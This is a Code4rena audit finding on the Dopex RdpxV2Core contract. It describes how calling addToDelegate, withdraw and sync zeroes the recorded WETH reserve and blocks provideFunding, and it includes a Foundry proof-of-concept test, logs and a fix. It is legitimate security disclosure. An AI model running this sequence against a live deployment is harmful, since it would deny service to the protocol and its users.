Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 162/189
Findings: 1
Award: $0.07
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.0734 USDC - $0.07
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L790-L808
The amount of reserveAsset[reservesIndex["WETH"]].tokenBalance
can be set to 0, by first calling addToDelegate()
with the current value of reserveAsset[reservesIndex["WETH"]].tokenBalance
, then calling withdraw()
to withdraw all the deposited weth and then calling sync()
. When the admin of RdpxV2Core decides to call provideFunding()
in order to send the funding amount of WETH to the PerpetualAtlanticVault contract, the function will revert, because reserveAsset[reservesIndex["WETH"]].tokenBalance
can be set to 0, and substracting the fundingAmount (whatever it is, if > 0) is not possible. The provideFunding()
function is expected to be called at the end of every epoch as it can be called only once. The attacker can execute the above described flow and set reserveAsset[reservesIndex["WETH"]].tokenBalance
to 0 or close to 0 for example 6 days after the epoch has started (if 1 epoch is 7 days), or frontrun the provideFunding()
function call. There is an emergencyWithdraw()
function so the weth can eventually be withdrawn from the contract, but this is not the expected behavior. The attack will cost only the gas required for the three transactions, and as the intended chain for the Dopex protocol to be deployed is Arbitrum, gas will be pretty cheap.
I have added the below function in the RdpxV2Core contract in order to easily read the value of reserveAsset[reservesIndex["WETH"]].tokenBalance
function returnsReserveAsset() public view returns(uint256 result){ result = reserveAsset[2].tokenBalance; }
The below function can be added to the Integration.t.sol file in the rdpxV2-core test folder
function test_WrongCalcualtionDelegate() public { vaultLp.deposit(100 * 1e18, address(this)); weth.mint(address(3), 12e18); rdpx.mint(address(3), 122e18); (uint256 rdpxRequired, uint256 wethRequired) = rdpxV2Core.calculateBondCost(12e18,0); vm.startPrank(address(3)); weth.approve(address(rdpxV2Core), type(uint256).max); rdpx.approve(address(rdpxV2Core), type(uint256).max); uint256 receiptTokens1 = rdpxV2Core.bond(10 * 1e18, 0, address(1)); console.log("Here is the reserveAssets[Weth] balance after a user has bonded: ", rdpxV2Core.returnsReserveAsset()); console.log("rdpxV2Core real Weth balance after bonding: ", weth.balanceOf(address(rdpxV2Core))); rdpxV2Core.addToDelegate(2.45 *1e18, 1e8); console.log("rdpxV2Core real Weth balance after bondign and delegation of weth: ", weth.balanceOf(address(rdpxV2Core))); rdpxV2Core.withdraw(0); console.log("rdpxV2Core real Weth balance after bondign, delegation of weth and withdrawing of the delegated weth: ", weth.balanceOf(address(rdpxV2Core))); rdpxV2Core.sync(); console.log("Here is the reserveAssets[Weth] balance after delegeting weth, syncing and then withdrawing the delegated weth: ", rdpxV2Core.returnsReserveAsset()); console.log("rdpxV2Core real Weth balance after bondign, delegation of weth, withdrawing of weth, and calling sync: ", weth.balanceOf(address(rdpxV2Core))); vm.stopPrank(); }
Those are the logs:
Here is the reserveAssets[Weth] balance after a user has bonded: 2450000000000000000 rdpxV2Core real Weth balance after bonding: 2450000000000000000 rdpxV2Core real Weth balance after bondign and delegation of weth: 4900000000000000000 Here is the reserveAssets[Weth] balance after delegeting weth, syncing and then withdrawing the delegated weth: 0 rdpxV2Core real Weth balance after bondign, delegation of weth, withdrawing of weth, and calling sync: 2450000000000000000
Manual Review
In the withdraw()
function substract the withdrawn amount from totalWethDelegated
.
DoS
#0 - c4-pre-sort
2023-09-10T07:15:25Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:52:43Z
GalloDaSballo marked the issue as satisfactory
#2 - c4-judge
2023-10-21T07:38:41Z
GalloDaSballo marked the issue as partial-50
#3 - c4-judge
2023-10-21T07:38:54Z
GalloDaSballo changed the severity to 3 (High Risk)